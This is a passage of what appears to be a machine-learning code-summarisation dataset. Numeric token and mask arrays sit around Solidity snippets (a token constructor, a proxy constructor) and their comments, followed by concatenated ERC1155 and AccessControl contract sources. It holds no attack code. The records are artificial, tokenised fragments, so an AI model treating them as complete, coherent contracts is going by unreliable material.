-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x4eB415C2b48280Cd9Df2ef382Ce35d488EFd2fa3/sources/HOBO.sol | create uniswap pair | constructor() {
address _uniswapPair =
IUniswapV2Factory(UNISWAP_V2_ROUTER.factory()).createPair(address(this), UNISWAP_V2_ROUTER.WETH());
UNISWAP_V2_PAIR = _uniswapPair;
_setAutomatedMarketMakerPair(address(_uniswapPair), true);
_allowances[address(this)][address(UNISWAP_V2_ROUTER)] = type(uint256).max;
_allowances[address(this)][owner()] = type(uint256).max;
isLimitExempt[address(this)] = true;
isLimitExempt[DEAD] = true;
isLimitExempt[owner()] = true;
isLimitExempt[UNISWAP_V2_PAIR] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[DEAD] = true;
isFeeExempt[owner()] = true;
marketingFeeReceiver = 0x682265C54284e99b01F9E873f569b7Df5cBB2095;
lpFeeReceiver = 0x682265C54284e99b01F9E873f569b7Df5cBB2095;
buybackFeeReceiver = 0x682265C54284e99b01F9E873f569b7Df5cBB2095;
_rOwned[tx.origin] = _totalSupply;
emit Transfer(address(0), tx.origin, _totalSupply);
}
| 3,889,345 | [
1,
2640,
640,
291,
91,
438,
3082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1435,
288,
203,
3639,
1758,
389,
318,
291,
91,
438,
4154,
273,
203,
5411,
467,
984,
291,
91,
438,
58,
22,
1733,
12,
2124,
5127,
59,
2203,
67,
58,
22,
67,
1457,
1693,
654,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
5019,
5127,
59,
2203,
67,
58,
22,
67,
1457,
1693,
654,
18,
59,
1584,
44,
10663,
203,
3639,
5019,
5127,
59,
2203,
67,
58,
22,
67,
4066,
7937,
273,
389,
318,
291,
91,
438,
4154,
31,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
24899,
318,
291,
91,
438,
4154,
3631,
638,
1769,
203,
203,
3639,
389,
5965,
6872,
63,
2867,
12,
2211,
13,
6362,
2867,
12,
2124,
5127,
59,
2203,
67,
58,
22,
67,
1457,
1693,
654,
25887,
273,
618,
12,
11890,
5034,
2934,
1896,
31,
203,
3639,
389,
5965,
6872,
63,
2867,
12,
2211,
13,
6362,
8443,
1435,
65,
273,
618,
12,
11890,
5034,
2934,
1896,
31,
203,
203,
3639,
353,
3039,
424,
5744,
63,
2867,
12,
2211,
25887,
273,
638,
31,
203,
3639,
353,
3039,
424,
5744,
63,
1639,
1880,
65,
273,
638,
31,
203,
3639,
353,
3039,
424,
5744,
63,
8443,
1435,
65,
273,
638,
31,
203,
3639,
353,
3039,
424,
5744,
63,
2124,
5127,
59,
2203,
67,
58,
22,
67,
4066,
7937,
65,
273,
638,
31,
203,
540,
203,
3639,
353,
14667,
424,
5744,
63,
2867,
12,
2211,
25887,
273,
638,
31,
203,
3639,
353,
14667,
424,
5744,
63,
1639,
1880,
65,
273,
638,
31,
203,
3639,
353,
2
]
|
./partial_match/1/0xA41634a92Eb3b0E9b9974566d1Bb71191099fD45/sources/contracts/MintProxy.sol | * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}./ | ) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(_admin);
_upgradeToAndCall(_logic, _data, false);
}
| 2,857,243 | [
1,
9685,
392,
8400,
429,
2889,
7016,
635,
1375,
67,
3666,
9191,
20732,
635,
326,
4471,
622,
1375,
67,
28339,
9191,
471,
8771,
6454,
598,
1375,
67,
892,
68,
487,
19765,
329,
316,
288,
654,
39,
3657,
9599,
3886,
17,
12316,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
262,
8843,
429,
288,
203,
3639,
1815,
24899,
9883,
7618,
2689,
67,
55,
1502,
56,
422,
1731,
1578,
12,
11890,
5034,
12,
79,
24410,
581,
5034,
2932,
73,
625,
3657,
9599,
18,
5656,
18,
30810,
6,
3719,
300,
404,
10019,
203,
3639,
1815,
24899,
15468,
67,
55,
1502,
56,
422,
1731,
1578,
12,
11890,
5034,
12,
79,
24410,
581,
5034,
2932,
73,
625,
3657,
9599,
18,
5656,
18,
3666,
6,
3719,
300,
404,
10019,
203,
3639,
389,
3427,
4446,
24899,
3666,
1769,
203,
3639,
389,
15097,
774,
1876,
1477,
24899,
28339,
16,
389,
892,
16,
629,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import '../utils/EnumerableSet.sol';
import '../utils/Address.sol';
import '../utils/Context.sol';
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index)
public
view
returns (address)
{
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(
hasRole(_roles[role].adminRole, _msgSender()),
'AccessControl: sender must be an admin to grant'
);
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(
hasRole(_roles[role].adminRole, _msgSender()),
'AccessControl: sender must be an admin to revoke'
);
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(
account == _msgSender(),
'AccessControl: can only renounce roles for self'
);
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
interface IERC1155 {
/****************************************|
| Events |
|_______________________________________*/
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _amount
);
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _amounts
);
/**
* @dev MUST emit when an approval is updated
*/
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/****************************************|
| Functions |
|_______________________________________*/
/**
* @notice Transfers amount of an _id from the _from address to the _to address specified
* @dev MUST emit TransferSingle event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if balance of sender for token `_id` is lower than the `_amount` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes calldata _data
) external;
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @dev MUST emit TransferBatch event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if length of `_ids` is not the same as length of `_amounts`
* MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external;
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id)
external
view
returns (uint256);
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
view
returns (uint256[] memory);
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @dev MUST emit the ApprovalForAll event on success
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return isOperator True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator)
external
view
returns (bool isOperator);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
interface IERC1155Metadata {
event URI(string _uri, uint256 indexed _id);
/****************************************|
| Functions |
|_______________________________________*/
/**
* @notice A distinct Uniform Resource Identifier (URI) for a given token.
* @dev URIs are defined in RFC 3986.
* URIs are assumed to be deterministically generated based on token ID
* Token IDs are assumed to be represented in their hex format in URIs
* @return URI string
*/
function uri(uint256 _id) external view returns (string memory);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
/**
* @dev ERC-1155 interface for accepting safe transfers.
*/
interface IERC1155TokenReceiver {
/**
* @notice Handle the receipt of a single ERC1155 token type
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value MUST result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _amount The amount of tokens being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(
address _operator,
address _from,
uint256 _id,
uint256 _amount,
bytes calldata _data
) external returns (bytes4);
/**
* @notice Handle the receipt of multiple ERC1155 token types
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value WILL result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeBatchTransferFrom` function
* @param _from The address which previously owned the token
* @param _ids An array containing ids of each token being transferred
* @param _amounts An array containing amounts of each token being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(
address _operator,
address _from,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external returns (bytes4);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
import '../../utils/SafeMath.sol';
import '../../interfaces/IERC1155TokenReceiver.sol';
import '../../interfaces/IERC1155.sol';
import '../../utils/Address.sol';
import '../../utils/ERC165.sol';
/**
* @dev Implementation of Multi-Token Standard contract
*/
contract ERC1155 is IERC1155, ERC165 {
using SafeMath for uint256;
using Address for address;
/***********************************|
| Variables and Events |
|__________________________________*/
// onReceive function signatures
bytes4 internal constant ERC1155_RECEIVED_VALUE = 0xf23a6e61;
bytes4 internal constant ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81;
// Objects balances
mapping(address => mapping(uint256 => uint256)) internal balances;
// Operator Functions
mapping(address => mapping(address => bool)) internal operators;
/***********************************|
| Public Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes memory _data
) public virtual override {
require(
(msg.sender == _from) || isApprovedForAll(_from, msg.sender),
'ERC1155#safeTransferFrom: INVALID_OPERATOR'
);
require(_to != address(0), 'ERC1155#safeTransferFrom: INVALID_RECIPIENT');
// require(_amount <= balances[_from][_id]) is not necessary since checked with safemath operations
_safeTransferFrom(_from, _to, _id, _amount);
_callonERC1155Received(_from, _to, _id, _amount, gasleft(), _data);
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data
) public virtual override {
// Requirements
require(
(msg.sender == _from) || isApprovedForAll(_from, msg.sender),
'ERC1155#safeBatchTransferFrom: INVALID_OPERATOR'
);
require(
_to != address(0),
'ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT'
);
_safeBatchTransferFrom(_from, _to, _ids, _amounts);
_callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasleft(), _data);
}
/***********************************|
| Internal Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount
) internal {
_beforeTokenTransfer(msg.sender, _from, _to, _id, _amount, '');
// Update balances
balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount
balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount
// Emit event
emit TransferSingle(msg.sender, _from, _to, _id, _amount);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...)
*/
function _callonERC1155Received(
address _from,
address _to,
uint256 _id,
uint256 _amount,
uint256 _gasLimit,
bytes memory _data
) internal {
// Check if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received{
gas: _gasLimit
}(msg.sender, _from, _id, _amount, _data);
require(
retval == ERC1155_RECEIVED_VALUE,
'ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE'
);
}
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
*/
function _safeBatchTransferFrom(
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory _amounts
) internal {
require(
_ids.length == _amounts.length,
'ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH'
);
_beforeBatchTokenTransfer(msg.sender, _from, _to, _ids, _amounts, '');
// Number of transfer to execute
uint256 nTransfer = _ids.length;
// Executing all transfers
for (uint256 i = 0; i < nTransfer; i++) {
// Update storage balance of previous bin
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit event
emit TransferBatch(msg.sender, _from, _to, _ids, _amounts);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...)
*/
function _callonERC1155BatchReceived(
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
uint256 _gasLimit,
bytes memory _data
) internal {
// Pass data if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived{
gas: _gasLimit
}(msg.sender, _from, _ids, _amounts, _data);
require(
retval == ERC1155_BATCH_RECEIVED_VALUE,
'ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE'
);
}
}
/***********************************|
| Operator Functions |
|__________________________________*/
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved)
public
virtual
override
{
// Update operator status
operators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return isOperator True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator)
public
view
virtual
override
returns (bool isOperator)
{
return operators[_owner][_operator];
}
/***********************************|
| Balance Functions |
|__________________________________*/
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id)
public
view
override
returns (uint256)
{
return balances[_owner][_id];
}
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] memory _owners, uint256[] memory _ids)
public
view
override
returns (uint256[] memory)
{
require(
_owners.length == _ids.length,
'ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH'
);
// Variables
uint256[] memory batchBalances = new uint256[](_owners.length);
// Iterate over each owner and token ID
for (uint256 i = 0; i < _owners.length; i++) {
batchBalances[i] = balances[_owners[i]][_ids[i]];
}
return batchBalances;
}
/***********************************|
| HOOKS |
|__________________________________*/
/**
* @notice overrideable hook for single transfers.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256 tokenId,
uint256 amount,
bytes memory data
) internal virtual {}
/**
* @notice overrideable hook for batch transfers.
*/
function _beforeBatchTokenTransfer(
address operator,
address from,
address to,
uint256[] memory tokenIds,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
/***********************************|
| ERC165 Functions |
|__________________________________*/
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` and
*/
function supportsInterface(bytes4 _interfaceID)
public
pure
virtual
override
returns (bool)
{
if (_interfaceID == type(IERC1155).interfaceId) {
return true;
}
return super.supportsInterface(_interfaceID);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import '../../interfaces/IERC1155TokenReceiver.sol';
import '../../utils/ERC165.sol';
/**
* @dev _Available since v3.1._
*/
contract ERC1155Holder is ERC165, IERC1155TokenReceiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 _interfaceID)
public
pure
virtual
override
returns (bool)
{
if (_interfaceID == type(IERC1155TokenReceiver).interfaceId) {
return true;
}
return super.supportsInterface(_interfaceID);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
import '../../interfaces/IERC1155Metadata.sol';
import '../../utils/ERC165.sol';
/**
